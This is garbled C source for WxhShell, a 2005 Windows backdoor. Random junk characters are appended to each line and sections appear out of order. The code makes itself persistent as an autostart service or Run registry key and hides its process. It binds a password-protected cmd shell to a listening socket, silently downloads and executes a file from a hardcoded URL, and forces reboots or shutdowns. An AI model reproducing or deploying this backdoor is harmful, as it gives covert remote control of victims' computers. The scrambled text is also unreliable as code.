    send(wsh,msg_ws_err,strlen(msg_ws_err),0); szhSI  
    else { DZ\ '7%c  
    closesocket(wsh); 2L;=wP2?{  
    ExitThread(0); E9>z.vV   
    } Lfcy#3!  
    break; B|"/bQ  
    } 7FPSBvU#/  
  // 获取shell [e ztu9  
  case 's': { *P9"1K +  
    CmdShell(wsh); !4D?X\~"%  
    closesocket(wsh); mjg@c|rTG  
    ExitThread(0); pZeO dh  
    break; G/FDD{y  
  } ilVi  
  // 退出 jSHFY]2  
  case 'x': { WkE="E}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Li|~%E1  
    CloseIt(wsh); Zzg zeT+bv  
    break; {DKZ ~  
    } )-1e} VF(U  
  // 离开 \-]tvgA~&  
  case 'q': { n.a2%,|v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H"^9g3 U  
    closesocket(wsh); f OR9N/  
    WSACleanup(); u&c%L0)E&  
    exit(1); jQ'g'c!  
    break; s@"|o3BX  
        } svDnw cl  
  } %L]sQq,  
  } YaSBIq{z  
bo90;7EK8  
  // 提示信息 xR%NiYNQz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2[3t7C  
} >itabG-&  
  } zI,Qc60B  
13Z,;YW  
  return; HyWR&0J  
} '" %0UflJS  
f42F@M(:  
// shell模块句柄 ~7KH/%Z-  
int CmdShell(SOCKET sock) wG7>2*(  
{ @:PMb Ub  
STARTUPINFO si; .TdFI"Yn  
ZeroMemory(&si,sizeof(si)); ezL1,GT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &dWGa+e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ttJ'6lGXh  
PROCESS_INFORMATION ProcessInfo; Z ]  G#:  
char cmdline[]="cmd"; - A@<zqu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GVlT+Rs7  
  return 0; :Ch XzZ  
} Q>+rjN;  
k'|yUJ,  
// 自身启动模式 +x`pWH]2  
int StartFromService(void) =oh%-Sh:  
{ sT!?nn3O`  
typedef struct i~v[3e9y7  
{ s#aj5_G  
  DWORD ExitStatus; ~' 955fK>  
  DWORD PebBaseAddress; =`|BofR  
  DWORD AffinityMask; Gvdok<o  
  DWORD BasePriority; /D;ugc*3  
  ULONG UniqueProcessId; :vEfJSA 1<  
  ULONG InheritedFromUniqueProcessId; 1 ; <Vr<.  
}   PROCESS_BASIC_INFORMATION; x+za6e_k"  
z8"1*V  
PROCNTQSIP NtQueryInformationProcess; )h 6w@TF  
?.F^Oi6 u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uQn1kI[y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n!~ $Z/  
M\k[?i  
  HANDLE             hProcess; u&S0  
  PROCESS_BASIC_INFORMATION pbi; G;vj3#u?  
y0T#Qq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?qSwV.l]d  
  if(NULL == hInst ) return 0; tCO?<QBE  
1Dhe! n#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VK*`&D<P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ke;=Vg|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z:AB (c  
f'5 6IT  
  if (!NtQueryInformationProcess) return 0; <Fx%P:d  
W<#!He  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <XDnAv0t  
  if(!hProcess) return 0; :NWIUN  
gfIS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z&iW1  
YuVlD/  
  CloseHandle(hProcess); ;8&/JSN M  
wzxV)1jT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #W8?E_iu  
if(hProcess==NULL) return 0; }AB_i'C0  
u8>aO>(bVg  
HMODULE hMod; J %A=  
char procName[255]; ]9w8[T:O  
unsigned long cbNeeded; %{rb,6  
zGz}.-F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wN%lc3[/z2  
cH5  
  CloseHandle(hProcess); sm{0o$\Z  
A_E2v{*n  
if(strstr(procName,"services")) return 1; // 以服务启动 FCwE/ 2,  
Xr8fmJtg'  
  return 0; // 注册表启动 3J 5,V  
} S},Cz  
hG#2}K_  
// 主模块 >\:GFD{z  
int StartWxhshell(LPSTR lpCmdLine) xq,ql@7  
{ rA?< \*  
  SOCKET wsl; ]v>[r?X#V  
BOOL val=TRUE; 6qTMHRI  
  int port=0; <+ [N*  
  struct sockaddr_in door; =$y J66e  
)nj fqg  
  if(wscfg.ws_autoins) Install(); >2),HZp^I  
P=<lY},  
port=atoi(lpCmdLine); e>c -b^{&  
ZD|F"v.  
if(port<=0) port=wscfg.ws_port; H$WD7/?j  
0n2H7}Uq  
  WSADATA data; Gukvd6-g9b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hPz=Ec<zW  
xgkCN$zQ`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V{q*hQd_3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DOFW"SpE  
  door.sin_family = AF_INET; i={4rZOD^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZDp^k{AN9a  
  door.sin_port = htons(port); WW6-oQs_#*  
q&9]4j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k%Tp9x$  
closesocket(wsl); 2TB'HNTFx  
return 1; /\mYXi \  
} LQ%QFfC  
E.Th}+  
  if(listen(wsl,2) == INVALID_SOCKET) { $vO<v<I'Gb  
closesocket(wsl); *}#HBZe(9  
return 1; [!3cWJCt  
} )jUPMIo  
  Wxhshell(wsl); [ypE[   
  WSACleanup(); &XI9%h9|  
-^`s#0( y^  
return 0; _](y<O^9yO  
b5]<!~Fv:`  
} [) >Yp-n  
C}3a  ^j  
// 以NT服务方式启动 l4taD!WD/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jP}Ry=V/  
{ +0*\q  
DWORD   status = 0; os;9 4yd )  
  DWORD   specificError = 0xfffffff; )[ UYCx'  
-W@nc QL}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K+M\E[1W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >}NnzZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N+ ]O#Js?  
  serviceStatus.dwWin32ExitCode     = 0; @Z#h?:  
  serviceStatus.dwServiceSpecificExitCode = 0; H$^9#{  
  serviceStatus.dwCheckPoint       = 0; Uea2WJpX  
  serviceStatus.dwWaitHint       = 0; 8;<aco/62  
q\jq9)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e2V;6N  
  if (hServiceStatusHandle==0) return; ft@#[Bkx  
GoX<d{  
status = GetLastError(); <1lB[:@%U  
  if (status!=NO_ERROR) 37 ?X@@Z=  
{ >f^kp8`3{Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ) Kl@dj  
    serviceStatus.dwCheckPoint       = 0; .L1[Rv3  
    serviceStatus.dwWaitHint       = 0; 1/ j >|  
    serviceStatus.dwWin32ExitCode     = status; (gvnIoDl0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3"my!}03  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NW;_4g4qE  
    return; >b0 Bvx-  
  } />:$"+gKo  
dG~U3\!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _PC<Td>nm  
  serviceStatus.dwCheckPoint       = 0; $}S0LZ_H  
  serviceStatus.dwWaitHint       = 0; Yg&/^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q2`mu4B  
} Ny`SE\B+/  
3@O/#CP+  
// 处理NT服务事件,比如:启动、停止 ~Hg*vCd ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N|@ tP:j  
{ @sZ' --Y  
switch(fdwControl) T:K}mLSg  
{ #fx"tx6  
case SERVICE_CONTROL_STOP: [K4 k7$  
  serviceStatus.dwWin32ExitCode = 0; .) %, R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~^'t70 :D  
  serviceStatus.dwCheckPoint   = 0; ,+v(?5[6  
  serviceStatus.dwWaitHint     = 0; x@O )QaBN!  
  { (Lj*FXmz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^j pQfDe6  
  } iDgc$'%?  
  return; -R];tpddR5  
case SERVICE_CONTROL_PAUSE: y!S:d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; = 4|"<8'  
  break; !P=L0A`  
case SERVICE_CONTROL_CONTINUE: 'ju_l)(R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H0lW gJmi|  
  break; OU]"uV<(  
case SERVICE_CONTROL_INTERROGATE: >bhF{*t#;y  
  break; h?4EVOx+  
}; :~s*yznf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mxJe\[I  
} ##mBOdx  
ih75 C"  
// 标准应用程序主函数 ?l @=}WN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e iH&<AH  
{ &"Cy&[  
I'n}6D.M  
// 获取操作系统版本 U_Mag(^-  
OsIsNt=GetOsVer(); -<T> paE9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Qzl-eN/+  
} 21!b :a  
  // 从命令行安装 B 'd@ms  
  if(strpbrk(lpCmdLine,"iI")) Install(); bng/v  
/=#~8  
  // 下载执行文件 e&[~}f?  
if(wscfg.ws_downexe) { T(cpU,Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >8vq`,e  
  WinExec(wscfg.ws_filenam,SW_HIDE); CSWA/#&8>  
} ZN'B @E=p  
# M3d=  
if(!OsIsNt) { # X{lV]Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 [(8s\>T  
HideProc(); <5FGL96  
StartWxhshell(lpCmdLine); CL(D&8v8~  
} ||7x51-yj  
else mB bGj3u;  
  if(StartFromService()) mL;oR4{  
  // 以服务方式启动 ,]9p&xu  
  StartServiceCtrlDispatcher(DispatchTable); o:as}7/^  
else $|!3ks  
  // 普通方式启动 SD:Bw0gzrI  
  StartWxhshell(lpCmdLine); pf yJL?_%  
81I9xqvSd~  
return 0; Ib/e\+H\  
} 4Uwcc):f  
G-vkkNj%e  
{=3'H?$  
!{g>g%2!  
=========================================== H2+Ijn19E  
?AI`,*^  
brqmi<*9"[  
6HVX4Z#VH  
4~nf~  
gKWUHlQY  
" =|^R<#%/  
~Hx>yn94e  
#include <stdio.h> KYg'=({x  
#include <string.h> _4k zlD  
#include <windows.h> vr kj4J f  
#include <winsock2.h> i~4$V  
#include <winsvc.h> (ze9-!%  
#include <urlmon.h> Q+U" %   
SU~ljAF4  
#pragma comment (lib, "Ws2_32.lib") '8@4FXK  
#pragma comment (lib, "urlmon.lib") H:16aaMn(  
.NF3dC\  
#define MAX_USER   100 // 最大客户端连接数 { "f} }}l  
#define BUF_SOCK   200 // sock buffer >4=7t&h  
#define KEY_BUFF   255 // 输入 buffer wo86C[  
W<~u0AyO 3  
#define REBOOT     0   // 重启 y;.5AvfD  
#define SHUTDOWN   1   // 关机 IFF1wfC  
A5ckosYyNA  
#define DEF_PORT   5000 // 监听端口 /}d)g4\j  
H$zDk  
#define REG_LEN     16   // 注册表键长度 m'ZxmsFo  
#define SVC_LEN     80   // NT服务名长度 ehMpo BL  
4/2@^\?i)  
// 从dll定义API 99~-TiU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G*zhy!P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2jP(D%n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IG:CWPU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9m%+6#|  
"1Y DT-I"  
// wxhshell配置信息 og*ti!Z  
struct WSCFG { p%\&M bA  
  int ws_port;         // 监听端口 eFQz G+/  
  char ws_passstr[REG_LEN]; // 口令 H]{`q  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vg"vC  
  char ws_regname[REG_LEN]; // 注册表键名 ,A0v 5Q<  
  char ws_svcname[REG_LEN]; // 服务名 }[;r-5}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S09Xe_q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]4 \6_J&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %w3tzE1Hq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7U&<{U<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `]/0&S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q-+_Y `_\  
G98fBw  
}; 5^2P\y(?  
 I$fm"N  
// default Wxhshell configuration =u5( zaBe  
struct WSCFG wscfg={DEF_PORT, 4(8BWP~.y2  
    "xuhuanlingzhe",  S^5Qhv  
    1, M(Yt9}Z%Y  
    "Wxhshell", vH"^a/95|  
    "Wxhshell", vC^n_  
            "WxhShell Service", YJZ`Clp?  
    "Wrsky Windows CmdShell Service", _J_QB]t  
    "Please Input Your Password: ", L^ U.h  
  1, W)odaab7  
  "http://www.wrsky.com/wxhshell.exe", u&o<>d;)  
  "Wxhshell.exe" bI)%g  
    }; lygv#s-T  
v 5&8C  
// 消息定义模块 ,e*WJh8k[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AIM<mU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'W p~8}i@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mbIHzzW>  
char *msg_ws_ext="\n\rExit."; A] f^9F@  
char *msg_ws_end="\n\rQuit."; %^;rYn3  
char *msg_ws_boot="\n\rReboot..."; *adwCiB  
char *msg_ws_poff="\n\rShutdown..."; 9%?a\#C  
char *msg_ws_down="\n\rSave to "; -JdNA2P  
h,i=Y+1  
char *msg_ws_err="\n\rErr!"; 90a!_8o  
char *msg_ws_ok="\n\rOK!"; LH q~`  
@u-CR8^  
char ExeFile[MAX_PATH]; D.w6/DxaXa  
int nUser = 0; '=ydU+X  
HANDLE handles[MAX_USER]; .fNLhyd  
int OsIsNt; U ~8, N[  
#sf1,k5'  
SERVICE_STATUS       serviceStatus; Es1T{<G|w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *HQ>tvUh  
zi+NQOhR  
// 函数声明 "Q1oSpF  
int Install(void); mf gUf  
int Uninstall(void); lnrs4s Km  
int DownloadFile(char *sURL, SOCKET wsh); SJ&+"S&  
int Boot(int flag); S@WT;Q2Z  
void HideProc(void); z3|5E#m  
int GetOsVer(void); *7yrm&@nG  
int Wxhshell(SOCKET wsl); Lr(My3vF8q  
void TalkWithClient(void *cs); *V@t]d$=#  
int CmdShell(SOCKET sock); %$+bO/f  
int StartFromService(void); 3s,a%GOk  
int StartWxhshell(LPSTR lpCmdLine); FOSC#W9E  
BvpUcICJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  0gJ{fcI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eeOG(@@o(  
M4L<u,\1s  
// 数据结构和表定义 yOm#c>X  
SERVICE_TABLE_ENTRY DispatchTable[] = sbq:8P#  
{ FN D+Ok&  
{wscfg.ws_svcname, NTServiceMain}, tr%VYc|}  
{NULL, NULL} "0?" E\  
}; xbZR/!?  
T2ZN=)xZ1  
// 自我安装 a)rT3gl  
int Install(void)  75T+6 u  
{ \`>f?}4  
  char svExeFile[MAX_PATH]; a)M3t  
  HKEY key; ujeN|W  
  strcpy(svExeFile,ExeFile); d{c06(#_  
En YEAjX  
// 如果是win9x系统,修改注册表设为自启动 ^-qz!ib  
if(!OsIsNt) { F<Z13]|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i dY Xv)R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +-MieiKv  
  RegCloseKey(key); _>Oc> .MB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qGECw#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iY3TB|tMt  
  RegCloseKey(key); S1_):JvV  
  return 0; wl%I(Cw{]  
    } B3&ETi5NTU  
  } S+-V16{i  
} X->` ~-aj  
else { dwUs[v   
.|2[! 7CXH  
// 如果是NT以上系统,安装为系统服务 Q6%Pp_$k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d5lD!  
if (schSCManager!=0) K5(:0Q.5y  
{ uP2Wy3`V  
  SC_HANDLE schService = CreateService r<_qU3Eaj  
  ( l#3jJn  
  schSCManager, #}C6}};  
  wscfg.ws_svcname, ME'LZ"VT  
  wscfg.ws_svcdisp, 7Q # A  
  SERVICE_ALL_ACCESS, k, jcLX.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (6X{ &  
  SERVICE_AUTO_START, j.SE'a_  
  SERVICE_ERROR_NORMAL,  cjf_,x  
  svExeFile, LTnbBh*mc  
  NULL, kFQx7m  
  NULL, E[>A# l53  
  NULL, +Sg+% 8T  
  NULL, G$6mtw6[M  
  NULL u'Z^|IVfo  
  ); 88A,ll%  
  if (schService!=0) q$jwH] .  
  { opon "{  
  CloseServiceHandle(schService); )S|&3\  
  CloseServiceHandle(schSCManager); #++D|oE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X="]q|Z  
  strcat(svExeFile,wscfg.ws_svcname); +pbP;zu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GT-ONwVDq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B8?j"AF  
  RegCloseKey(key); ~f?brQ?  
  return 0; dIk9C|-.  
    } FdS'0#$  
  } jluv}*If  
  CloseServiceHandle(schSCManager); 5ih5=qX  
} $!\Z_ :  
} B1z7r0Rm,  
(4FZK7Fm  
return 1; F[~~fm_  
} 4'H)h'#C  
C@9K`N[*  
// 自我卸载 8k?V&J `  
int Uninstall(void) ;H"OZRQ  
{ 4gn|zSe>^  
  HKEY key; km6O3> p5r  
4}*V=>z  
if(!OsIsNt) { Bn*QT:SKC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4\14HcTcK  
  RegDeleteValue(key,wscfg.ws_regname); I\('b9"*  
  RegCloseKey(key); fs8C ^Ik>~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MN_1^T5  
  RegDeleteValue(key,wscfg.ws_regname); Q@cYHFi~+  
  RegCloseKey(key); ho}G]y  
  return 0; [.nkNda5)v  
  } mN'sJ1L-  
} 8j8~?=$a6Q  
} )C $1))  
else { MO *7:hI  
@g1T??h   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kf_*=ER  
if (schSCManager!=0) iy|xF~  
{ E{[>j'dwc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `i6q\-12n  
  if (schService!=0) 7E R!>l+  
  { j.KV :zJU  
  if(DeleteService(schService)!=0) { X^d}eWP`I  
  CloseServiceHandle(schService); \d QRQL{LL  
  CloseServiceHandle(schSCManager); qmq#(%Z <W  
  return 0; BXUd i&'O  
  } #kAk d-QY6  
  CloseServiceHandle(schService); JgcMk]|'  
  } `6{4?v  
  CloseServiceHandle(schSCManager); OQ4rJ#b  
} +@anYtv%7  
} 0|]qW cD  
2\G[U#~bi  
return 1; r,wC5%&Za  
} Q-||A  
|O[ I=!  
// 从指定url下载文件 0t)5KO  
int DownloadFile(char *sURL, SOCKET wsh) $2$jV1s  
{ 6bBNC2K$-  
  HRESULT hr; 1b8}TG2  
char seps[]= "/"; 10m`LG  
char *token; &}FWpo!  
char *file; zu``F]B  
char myURL[MAX_PATH]; +3?.Vb%jY  
char myFILE[MAX_PATH]; [V41 Gk  
l/56;f\IA  
strcpy(myURL,sURL); Bx0=D:j  
  token=strtok(myURL,seps); slV]CXW)t  
  while(token!=NULL) 2.&%mSN  
  { *r iWrG  
    file=token; #Z}YQ $g  
  token=strtok(NULL,seps); U (A#}  
  } ccgV-'IG9  
>;~ia3  
GetCurrentDirectory(MAX_PATH,myFILE); 2jyxP6t  
strcat(myFILE, "\\"); `6o5[2V  
strcat(myFILE, file); R5fZ }C7  
  send(wsh,myFILE,strlen(myFILE),0); sb</-']a  
send(wsh,"...",3,0); 3s_$.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ePTN^#|W  
  if(hr==S_OK) yH.Z%*=xQa  
return 0; w,zm!  
else &H?Vlx Ix  
return 1; &e5,\TQ  
P(i E"KH;  
} (+;%zh-  
EP8R[Q0_"  
// 系统电源模块 g HKA:j`c  
int Boot(int flag) kTo{W]9]  
{ Q6fPqEX=  
  HANDLE hToken; +$B#] ,  
  TOKEN_PRIVILEGES tkp; $GIup5  
USbFUHdDc  
  if(OsIsNt) { [k7 ;^A5/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r[AqA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &dJ\}O[r  
    tkp.PrivilegeCount = 1; 3s Mmg`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \n0MqXs#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %?!TqJT?{  
if(flag==REBOOT) { Z+Ppd=||,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p i\SRDP  
  return 0; qj,^"rp1:  
} sKDL=c;?j  
else { It5n;,n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zc!q a"4yM  
  return 0; yz_xWx#9  
} jW]Fx:mQi  
  } P.O/ZW>g  
  else { 0]l9x}  
if(flag==REBOOT) { 7OLchf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8V+  
  return 0; k]yv#Pa  
} M.KXDD#O  
else { Ir3|PehB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  P'oY +#  
  return 0; opqf)C  
} r+}<]?aT>-  
} Px?0)^"2  
2G }@s.iE  
return 1; ?,FL"ye  
} pNc4o@-  
LgA> ,.  
// win9x进程隐藏模块 AI3\eH+  
void HideProc(void) nLBi} T  
{ avxI%%|  
QykHB k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pcPRkYT[ M  
  if ( hKernel != NULL ) g (V_&Y  
  { 0ZtH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QHe:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y,d|b V*FH  
    FreeLibrary(hKernel); 61`tQFx,  
  } "S3U]zw0_  
Xb7G!Hk#g  
return; !24g_R[3"  
} WFMQ;  
A]m_&A#  
// 获取操作系统版本 v#$}3+KVC  
int GetOsVer(void) &%@>S.  
{ ' g Fewo  
  OSVERSIONINFO winfo; ?/24-n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +fG~m:E  
  GetVersionEx(&winfo); DWu~%U8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "nC=.5/$  
  return 1; /{nZ I_v#  
  else r }Nq"s<  
  return 0; s:Z1 ZAxv  
} mp17d$R-  
3H,>[&d  
// 客户端句柄模块 )-S;j)(+  
int Wxhshell(SOCKET wsl) No(S#,vJ;  
{ 5 OF*PBZ  
  SOCKET wsh; q??N,  
  struct sockaddr_in client; B \>W  
  DWORD myID; ^j]"5@f  
`-<m#HF:)d  
  while(nUser<MAX_USER) scR+F'M  
{ 30L/-+r1  
  int nSize=sizeof(client); |sV@j_TX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zjwo"6c>  
  if(wsh==INVALID_SOCKET) return 1; x DX_s:A  
R5'_il  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k1M?6TW&  
if(handles[nUser]==0) 4I3)eS%2  
  closesocket(wsh); R|dSjEs  
else Z%I9:(  
  nUser++; e}q!m(K]e-  
  } Zz56=ZX*_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  `/eh  
T( sEk  
  return 0; 5fud:k  
} 8^"P'XQ  
*wK7qS~VB2  
// 关闭 socket <zF/at  
void CloseIt(SOCKET wsh) b ;t b&o  
{ q|.K& @_'K  
closesocket(wsh); Y'M}lv$sa  
nUser--; gBXJ/BW$y  
ExitThread(0); '2c4 4F)i  
} w}Xy;0c  
,ikn%l#cm  
// 客户端请求句柄 /BfCh(B  
void TalkWithClient(void *cs) B,RHFlp{  
{ ~n!7 ?4%U  
C~:!WRCz  
  SOCKET wsh=(SOCKET)cs; e+P|PW  
  char pwd[SVC_LEN]; )lB*] n`Z]  
  char cmd[KEY_BUFF]; _JXb|FIp  
char chr[1]; -Hu]2J)  
int i,j; g;<_GL  
ut;KphvSH  
  while (nUser < MAX_USER) { PVUNi: h  
6Pu5 k;H  
if(wscfg.ws_passstr) { nv"D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?c# v'c^=h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4p_@f^v~QH  
  //ZeroMemory(pwd,KEY_BUFF); HH,G3~EBF  
      i=0; >rzpYc'~w  
  while(i<SVC_LEN) {  S]&7  
;gv9J [R  
  // 设置超时 t&Z:G<;  
  fd_set FdRead; <D{_q.`vA  
  struct timeval TimeOut; +G>;NiP_  
  FD_ZERO(&FdRead); Gzu $  
  FD_SET(wsh,&FdRead); KoO\<_@";  
  TimeOut.tv_sec=8; Y4n; [nHQ(  
  TimeOut.tv_usec=0; ~yuj;9m3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0i65.4sK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OX/}j_8E^(  
OPwO`pN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oz_|pu  
  pwd=chr[0]; |&a[@(N:zf  
  if(chr[0]==0xd || chr[0]==0xa) { ^)|1T#Tz  
  pwd=0; "M5&&\uT  
  break; Og3bV_,"  
  } }9ZcO\M  
  i++; 5T;,wQ<  
    } cE0Kvqe`  
$2\k| @)s  
  // 如果是非法用户,关闭 socket YC0FXNV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *FEY"W+bY  
} ;R.l?Bg  
2d Px s:8&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "Crm\UI6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dLI`\e<r&[  
3xz{[5<p  
while(1) { iv62Fs'  
l<# *[TJ  
  ZeroMemory(cmd,KEY_BUFF); a uz2n  
(~FLG I  
      // 自动支持客户端 telnet标准   j(maj  
  j=0; u6(>?r-  
  while(j<KEY_BUFF) { &MsBcP[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -KG3_kE  
  cmd[j]=chr[0];  a7UfRG  
  if(chr[0]==0xa || chr[0]==0xd) { )q+9_KU q  
  cmd[j]=0; O<v9i4*  
  break; SRx `m,535  
  } 3xnu SOdh  
  j++; mf)o1O&B  
    } (j;6}@  
"|l-NUe  
  // 下载文件 ,:QDl  
  if(strstr(cmd,"http://")) { 4l*4w x""v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W8 m*co  
  if(DownloadFile(cmd,wsh)) saaN$tU7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0jN?5j  
  else &u/T,jy`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fv6<Cz6L  
  } h .Iscr^~  
  else { :h+gSvn:  
X6dv+&=?  
    switch(cmd[0]) { cQMb+Q2Yw  
  7}<05 7Xn'  
  // 帮助 s$ 2@|;  
